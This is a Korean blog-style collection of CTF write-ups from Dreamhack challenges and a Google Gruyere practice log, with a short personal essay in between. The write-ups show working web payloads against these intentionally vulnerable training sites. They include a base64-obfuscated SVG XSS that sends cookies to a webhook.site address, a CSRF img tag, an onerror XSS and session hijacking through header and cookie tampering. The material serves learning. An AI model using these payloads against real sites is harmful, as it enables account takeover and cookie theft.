풀이

이렇게 로그인을 해란다 솔직히 이쯤돼면 login에서 guest: guest로 로그인 하는거는 국룰이긴 하다.

당연하게도 로그인에 성공했다.

이번에는 저번과 다르게 change password라는 탭에 생겼다. 비밀번호를 바꾼다음에 어드민으로 로그인하면 될거같다.

소스코드 보기

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

admin 계정으로 로그인하면 플래그가 나오는거같다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

xss가 막혀있다. .lower() 함수도 사용돼서 ScRiPt이런 우회는 안통할거다.

그래도 img 태그에 대한 필터는 없으니 img 태그로 csrf를 시도해 보아야 한다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'@app.route('/login', methods=['GET', 'POST'])

로그인을 할때 username + ip로 토큰을 발급하는거 같다.

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

피라미터로 설정할 비번, 토큰 같이 보내면 될거같다.

풀이

토큰이 그냥 username + ip를 md5 인코딩한것이므로 파이썬 스크립트로 admin + 127.0.0.1로 md5 인코딩을 해서 csrftoken을 얻었다.

from hashlib import md5

token = md5(("admin" + "127.0.0.1").encode()).hexdigest()
print(token)

토큰은 7505b9c72ab4aa94b1a4ed7b207b67fb가 나왔다.

페이로드

페이로드로는 </img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">를 사용했다.

오잉 왜 안돼지? 알고보니 앞에붙은 슬래시 때문이었다. 정상적인 페이로드는

<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

이것이다.

플래그

이렇게 admin 계정의 비밀번호를 1234로 리셋하고 다시 로그인을 해주면?

플래그가 나온다.

후기

처음 풀때는 어떻게 해야할지 몰라서 다른 write-up을 보면서 문제를 풀어나갔지만 또 벨로그에 정리하는 습관을 들이니까 정리하면서 다시 풀어보게 되고 그게 또 복습이 되는거같다 :)

딱 봐도 file-upload 취약점이 있을거같다.

코드분석

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file:
        filename = secure_filename(file.filename)
        unique_id = uuid.uuid4().hex
        unique_filename = f"{unique_id}_{filename}"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
        file.save(file_path)
        read_file(unique_filename)
        return redirect(url_for('index', file=f'uploads/{unique_filename}'))
    return '', 204

딱 봐도 매우 취약해 보인다.

def read_file(filename):
    driver = None
    cookie = {"name": "flag", "value": FLAG}
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}")

        WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True

이렇게 셀레니움으로 봇이 구현되어 있으니 svg 파일에 js를 집어넣어서 xss공격으로 webhook.site에 보내면 될거같다.

풀이

vscode를 열어서 1.svg 파일을 생성한 다음 페이로드를 입력해준다.

페이로드로는 이걸 사용했다.

<svg width="704" height="161" viewBox="0 0 704 161" fill="none" xmlns="http://www.w3.org/2000/svg">
<animate attributeName="x" dur="0s" onbegin="eval(atob('bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvNWEyMWY0MjgtNTFiMi00NDNiLTgwZWMtZTRhOGM5MWQzNzk0P2ZsYWc9Ii5jb25jYXQoZG9jdW1lbnQuY29va2llKQ=='))"/>
</svg>

eval 함수 안에 base64로 인코딩 되어있는 것은

location.href="https://webhook.site/5a21f428-51b2-443b-80ec-e4a8c91d3794?flag=".concat(document.cookie)

이 코드 이다.

flag

후기

이제 브론즈 1 정도 올라오니까 여러 취약점을 꼬아서 나오는 문제가 나오기 시작했다. 그래도 기초를 잘 다져 놓으니까 아직까지는 할만한거 같다 :)

나는 중 1이다. 나는 초 4부터 코딩을 아빠에 의해 접해서 웹개발(?) 을 하다가 지금은 놀고 자빠져있다. 뭐 코딩을 접하고 나서부터 꿈은 항상 개발쪽이었지만 미쳐 고등학교를 생각을 못했다. 평소처럼 프로결제한 제미나이를 가지고 놀다가 고등학교를 추천해 달라고 했다. 추천해준 고등학교는 바로 디미고 였다.

부모님

그래서 바로 좋아라 했던 나는 바로 부모님께 가서 디미고에 가고싶다고 말했다. 당연히 부모님은 안된다고 말씀하셨다. 왜지? 왜냐면 당시에 특성화고는 공부못하고 할거 없는 애들만 간다는 오해가 있었기 때문이었다. 하지만 디미고는 예외다.

그래서, 내가 이런말 할만큼 코딩 실력이 좋냐고? 겠냐? 절대 아니다.

아아아ㅏ 코딩을 처음 배웠을때의 그 나는 어디가고 왜 이런 폐인같은 바이브코더가 내 앞에 있는걸까…

해킹방어

그러던중, 나는 해킹에 관심이 생겼다. 정확히는 웹해킹이었는데, 구글 그뤼에르인가? 대충 그런 사이트에서 처음 공격을 시도해봤다.

결과는…. 정말 재밌었다! 그저 내가 한거라고는 프로필 페이지에서 대놓고 있는 피라미터를 고치기만 했을 뿐인데, 어드민 권한을 얻을 수 있다는게 신기하고 재밌었다. (실제로는 안먹힌다…)

음… 이렇게 재미를 느껴놓고 정작 드림핵같은 사이트에서 정식으로 해킹을 배우는데는 시간이 오래 걸렸다. 왜냐고? 현타가 왔다. 갑자기? 라고 할 수도 있겠지만 뭔가 내가 하고있는게 올바른건지, 이렇게 너무 ai에 의존해도 돼는건지, 과연 디미고에 합격할 수나 있을지 일반고는 가려나? 성적은 어떨까? 이런 질문들이 나를 한순간에 덮쳤다.

다시…시작

그래서 나는 한동안 개발을 잠시 접었었다. 그래도 ai에게 의존해도, 힘들어도, 눈이 아파도 개발을 하는게 재밌었는지 나는 다시 노트북 앞에 앉아 있었다.

그래도 코딩을 안한 시간동안 생각한게 조금은 있었는지 엄마에게 드림핵 가입을 도와달라고 했다. 엄마는 미심쩍어했다 원래그런 사람이다.

앞에서 저런말 하다가 뜬금없지만,

그래서 나의 해킹 공부는 시작이 됐다. 뭐, 이제 배운지 얼마 안됐지만 그래도 내 목표인 디미고 해킹방어과를 향해 열심히 달려갈 예정이다.

13살이 건방지게 이런글 써서 죄송합니다. 긴글 읽어주셔서 감사합니다 :)

문제 설명 Description Introducing DreamDocs: a platform for browsing docs!

이렇게 문서를 열람할 수 있는 서비스다.

소스코드 보기

flag_doc_id = random.randint(100, 999)

이 부분을 보면 flag가 들어있는 문서는 100부터 999까지의 무작위 문서 이다.

@app.route('/doc/<int:doc_id>')
def view_document(doc_id):
    referer = request.headers.get('Referer', '')
    user_level = request.headers.get('X-User', 'guest')

    if doc_id < 0 or doc_id >= 1000:
        abort(404)

    if doc_id not in documents:
        abort(404)

    document = documents[doc_id]

    if '/share' not in referer:
        return render_template('error.html', 
            message="Access denied. Documents can only be accessed from the share page."), 403

    if document['classification'] == 'confidential':
        if user_level != 'admin':
            return render_template('error.html', 
                message="Insufficient privileges. Administrator access required."), 403

    elif document['classification'] == 'internal':
        if user_level == 'guest':
            return render_template('error.html', 
                message="Internal documents require user authentication."), 401

    return render_template('document.html', doc=document, doc_id=doc_id)

이걸 보면 confidential 등급의 문서는 admin인 유저만 열람할 수 있는걸 알 수 있다.

@app.route('/api/docs')
def list_docs():
    SHOW_COUNT = 15
    user_level = request.headers.get('X-User', 'guest')
    visible_docs = []

    for doc_id, doc in documents.items():
        if doc['classification'] == 'public':
            visible_docs.append({'id': doc_id, 'title': doc['title'], 'classification': doc['classification']})
        elif doc['classification'] == 'internal' and user_level != 'guest':
            visible_docs.append({'id': doc_id, 'title': doc['title'], 'classification': doc['classification']})
        elif doc['classification'] == 'confidential' and user_level == 'admin':
            visible_docs.append({'id': doc_id, 'title': doc['title'], 'classification': doc['classification']})
        if len(visible_docs) >= SHOW_COUNT:
            break

    return jsonify(visible_docs)

문서들의 정보를 볼 수 있는 페이지다.

풀이

/api/docs로 가는 패킷을 잡아서 X-user: admin을 추가했다.

960번 문서가 flag 문서라는 것을 알 수 있다.

다시 /share로 돌아와서 아무 문서나 클릭하고 이렇게 패킷을 고쳐준다.

다시 오는 패킷도 똑같이 수정해준다.

flag를 찾았다!

문제 링크 : https://dreamhack.io/wargame/challenges/1151

문제 설명 Description Admin의 KEY가 필요합니다! 알맞은 KEY값을 입력하여 플래그를 획득하세요.

플래그 형식은 DH{...} 입니다.

이렇게 키를 넣어볼 수 있는 서비스 였다.

소스코드 보기

이 코드를 보면 cmd가 비어있지 않기만 하면 내부 블록으로 진입할 수 있다. 그리고 타임아웃 예외처리를 통해 키를 얻을 수 있다.

풀이

burp suite를 사용해 cmd_input=sleep 6를 입력하고 조금 뒤, 화면에 key가 출력됬다.

그 키를 다시 입력하고 submit 버튼을 누르면,

flag가 나온다!

이렇게 글을 쓰고 조회해 볼 수 있는 게시판인듯 하다.

FLAG라고 되어있는 글은 조회 할 수 없었다.

소스코드 분석

코드를 보니 이렇게 secret 글은 _id 값이 null로 되어있는듯 하다.

그래서 일단 /api/board 주소로 들어가봤다.

이렇게 역시나 secret 글은 _id가 null인 것을 볼 수 있다.

그래서 소스코드를 다시 한번 봐 보니

이렇게 /api/board/:board_id로 접속을 하면 내용을 인증없이 띄워주는 코드를 찾았다.

MongoDB ObjectId 생성 규칙

MongoDb는 ObjectID를 생성할때 규칙이 있었다.

그러면 뒷자리 6글자만 분석하여 추론하면 된다.

그럼 뒷자리가 모두 820047 820048 FLAG 82004a

그럼 FLAG에 들어갈 수는 820049이다.

풀이

이렇게 앞에 말한 방식으로 ObjectID를 만들면 6a5c55224046d4dc8f820049이 된다.

이렇게 /api/board/6a5c55224046d4dc8f820049에 접속하면

FLAG가 나온다.

소스코드 뜯어보기

사물함 번호는 영어 소문자, 숫자포함 4자리 문자열이고, 비밀번호는 100이상 200이하의 무작위 숫자다.

여기서 사물함 번호의 어느 글자까지 맞는지 알려주는 취약점이 있어서 burp suite로 브루트 포스 공격을 해서 한 글자씩 사물함 번호를 알아내면 될거같다.

사물함 번호 알아내기

사물함 번호를 일단 아무렇게나 입력해서 패킷을 잡는다. attack type을 sniper attack으로 설정하고 payload type을 brute focer로 설정한다.

알파벳 m이 길이가 혼자 1951로 다르다.

이런 방식으로 나머지 3개의 글자도 모두 구한다.

비밀번호 알아내기

payload설정을 이렇게 하고 start attack 버튼을 누른다.

해결

길이가 다른 패킷을 발견했다.

솔직히 여기서 뭘 하라는건지 잘 모르겠다.

소스코드 뜯어보기

음 이게 뭐지? get,post 검사도 안하고 session_storage를 리턴하고있다.

이 세션을 복사해두고 burp suite에서 변조해서 넣으면 될거같다.

burp suite로 세션 변조하기

guest로 로그인을 하고 온 패킷을 확인해본다.

여기서 Cookie: sessionid부분에서 sessionid를 아까 복사해둔 admin의 sessionid로 변조하면?

flag가 나온다

본격적으로 문서를 보면서 실습하다 보니 Reflected XSS via AJAX라는 내용이 있었다.

AJAX란?

• Ajax는 Asynchronous JavaScript And XML' 또는 'Asynchronous JavaScript transfer (x-fer)'의 약자이다. 말 그대로 JavaScript와 XML 형식을 이용한 비동기적 정보 교환 기법이다. - 나무위키

• 그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.

AJAX가 사용되는 곳 찾기

다시 gruyere에 들어가서 계정생성,로그인을 해준다.

그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.

이걸 보면 딱봐도 글 삭제,추가에 사용될거 같다.

이렇게 글을 하나 작성해주고 콘솔창을 열어서 저 [X]버튼을 찍어보면

<a href="/469790294992189573147013988367009809944/deletesnippet?index=0">[X]</a>

/deletesnippet이걸로 글을 삭제하고 ?index=0이걸로 어느 글을 삭제할지 정하는거 같다 index=0의 의미는 데이터가 리스트 같은데에 저장돼 있는데 그 인덱스 번호를 뜻하는거 같다.

여기서 ?index=0을 ?index=<script>alert("xss")</script>이렇게 바꿔보면

이렇게 팝업이 잘 뜨는것을 볼 수 있다.

관련 링크

• https://google-gruyere.appspot.com/
• https://google-gruyere.appspot.com/part2

이론만 막 배우니 머리에 들어오는게 없는거 같아 찾아본게 이 gruyere이다. 앞에 나오는 이상한 영어들은 일찌감치 집어치우고 실습부터 했다.

시작

먼저 들어가니 이런 사이트가 있었다. 밑으로 내려가서 Continue >>버튼을 누르고 들어가니 또 이런 영어들이 나를 반겨주는데 앞에서 말했듯이 집어치우고 https://google-gruyere.appspot.com/start를 눌러 본격적으로 시작한다.

이렇게 게시판같은 페이지가 뜨는데 일단 로그인부터 해보자.

회원가입창에서 가입을 해주고

로그인을 한다.

로그인을 해주면 이런 화면이 뜨는걸 볼 수 있다. 그리고 시작부터 gruyere의 허술함이 들어난다. https://google-gruyere.appspot.com/469790294992189573147013988367009809944/login?uid=junnyontop-pixel&pw=124QWEasd 이렇게 url에 id와 pw노출시킨 것이다.

위에 newSnippet을 눌러보니 게시글을 올릴 수 있는거 같다. Limited HTML is now supported in snippets (e.g., <b>, <i>, etc.)!이렇게 html태그를 허용해주는거 같다. 그래서 바로 script태그로 테스트 해보니 script태그는 안먹히는거 같다.

차례로 My Snippets을 눌러주니 https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl주소가 이렇게 생겼다. 혹시나 https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=이렇게 아무거나 찍어 보니

https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=cheddar 여기서

이렇게 다른 사람의 게시글을 훔쳐볼 수 있었다.

?uid=cheddar이걸 유용하게 써먹을 수 있을듯 하다.

혹시 관리자의 글도 볼 수 있을까 싶어, ?uid=admin,?uid=Admin이런걸 시도해 보니 대소문자 구분은 안하는거 같고 많은 걸 시도해 보던 도중...

?uid=administrator이걸 시도해보면 주소창은 https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=administrator인데

화면엔 Admin으로 표시되어있다.

뭔가 힌트를 얻은거 같지만 관리자의 게시글을 훔쳐볼순없었다.

다음으로 옆에있는 Profile을 누르니 이렇게 프로필을 수정할 수 있었다.

https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl여긴 주소가 이런데 아까 봤던 그걸 사용해 보자.

https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl?uid=cheddar

역시 맞았다! 이걸로 다른사람의 프로필도 수정할 수 있다.

그리고 여기에 Private Snippet이란 항목이 있다. 여기에 uid=administrator를 사용해보면 게시글을 볼 수 있을지도 모른다.

성공이다. 추가로 My password is secret. Get it?라는 정보도 획득했다. 이 정보에 따르면 관리자의 pw는secret같다.

로그아웃을 해주고 로그인 창에서 User name:administrator,Password:secret으로 작성해주니 관리자로 로그인을 성공했다!

관리자로 로그인한 상태의 페이지이다.

이제 xss공격을 해볼거다. 아까 html태그를 허용했지만 script태그는 안되던 New Snippet을 클릭하고,

<img src="" onerror="alert('xss')">

이렇게 작성해주면

You are not an author.라고 뜨면서 안된다. Profile에 들어가면 이렇게 선택지가 더 생긴걸 볼 수 있다.

Is author을 Yes로 변경해주고 다시 작성해주면 잘 뜨는것을 볼 수 있다.

추가로 쿠키까지 가져가 비밀번호 없이 로그인하는 것 까지 해보겠다.

<img src="" onerror="alert('쿠키: ' + document.cookie);">

아까처럼 스니펫에 이걸 추가하면

GRUYERE=31131337|administrator|admin|; GRUYERE_ID=404477456041413703389788683660411129398 쿠키가 나온다 이렇게 나온 쿠키를

로그아웃 후,

document.cookie = "GRUYERE=31131337|administrator|admin|";

콘솔창에 입력하면 로그인이 된다.

💡 이번 실습으로 배운 점

1. 파라미터는 믿을 게 못 된다: 클라이언트가 보내는 uid 같은 값은 누구나 수정할 수 있으므로, 서버에서 반드시 세션 기반의 검증을 거쳐야 한다.
2. 비밀번호 힌트의 위험성: 관리자라면 유추하기 쉬운 비밀번호나 힌트를 남기지 말아야 한다.
3. XSS의 위력: script 태그가 막혔더라도 onerror 같은 이벤트 핸들러를 통해 얼마든지 공격이 가능하다는 것을 깨달았다.